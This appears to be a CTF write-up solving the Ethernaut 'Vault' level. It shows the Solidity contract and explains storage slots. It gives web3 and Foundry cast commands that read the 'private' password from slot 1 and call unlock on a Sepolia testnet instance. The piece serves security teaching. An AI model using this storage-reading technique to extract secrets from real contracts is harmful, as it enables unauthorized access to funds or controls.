The Ethernaut CTF Solutions | 08 - Vault
The Illusion of Privacy: Accessing 'Private' Data on the Blockchain

Search for a command to run...
The Illusion of Privacy: Accessing 'Private' Data on the Blockchain

No comments yet. Be the first to comment.
Find the explanations and solutions to beat every level of Ethernaut challenges. Solidity + Foundry
Game of Thrones: Manipulating Contract Rules to Stay on Top
From Flash to Cash: Exploiting Governance in the Selfie Challenge

Timing and Technique: Exploiting The Rewarder for Maximum Gain

A Deep Dive into the Side Entrance Challenge: Mastering the Mechanics of Flash Loans

DeFi Vulnerabilities Exposed: How to Solve the Truster Flash Loan Exploit"

Staking Strategies: An Insightful Journey Through Smart Contract Exploits in DeFi

Fairly straightforward here... Let's check the contract.
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
contract Vault {
bool public locked;
bytes32 private password;
constructor(bytes32 _password) {
locked = true;
password = _password;
}
function unlock(bytes32 _password) public {
if (password == _password) {
locked = false;
}
}
}
It requires an understanding of how storage works in solidity (usage of 32-byte sized slots) and the JSON RPC function eth_getStorageAt.
EVM stores data in 32-byte slots. The first state variable is stored at slot 0. If there are enough bytes left, the next variable is also stored at slot 0, otherwise at slot 1, and so on.
NOTE: Dynamic types like arrays and strings are different and don't work the same way. But this is for another level...
In the Vault contract, locked is a boolean and uses 1 bytes. The slot 0 has 31 bytes of unused storage. password is a bytes32 and uses 32 bytes. Since it doesn't fit in the 31 bytes left in slot 0, it is stored at slot 1.
The eth_getStorageAt JSON RPC function can be used to read the contract's storage at a given slot.
For instance, to read the contract's storage at slot 1 using web3.js, you can use the following function:
web3.eth.getStorageAt(contractAddress, 1, (err, result) => {
console.log(result);
});
In Foundry, you can make use of cast to achieve the same result:
cast storage <contractAddress> 1 --rpc-url sepolia
Since we know that the password is stored at slot 1, we can read the storage at that slot to find the password and then call the unlock function with the password to complete the level.
// 1. Read the storage of the contract at slot[1] to find the password:
await web3.eth.getStorageAt(instance, 1);
// 2. Call the unlock function with the password to complete the level:
await contract.unlock("[result from step 2]");
cast:cast storage <contractAddress> 1 --rpc-url sepolia
Then pass the result to the unlock function:
cast send 0x5E0bc315bDe04a2E24E00335976dC823E6214213 "unlock(bytes32)" "0x412076657279207374726f6e67207365637265742070617373776f7264203a29" --private-key $PRIVATE_KEY --rpc-url sepolia
🎉 Level completed 🎉
The private keyword means that the data can only be accessed by the contract itself, not that it is hidden from the world.
Nothing is private on the blockchain. Everything is public and can be read by anyone.
eth_getStorageAt: https://ethereum.org/en/developers/docs/apis/json-rpc/#eth_getstorageat
You can find all the codes, challenges, and their solutions on my GitHub: https://github.com/Pedrojok01/Ethernaut-Solutions/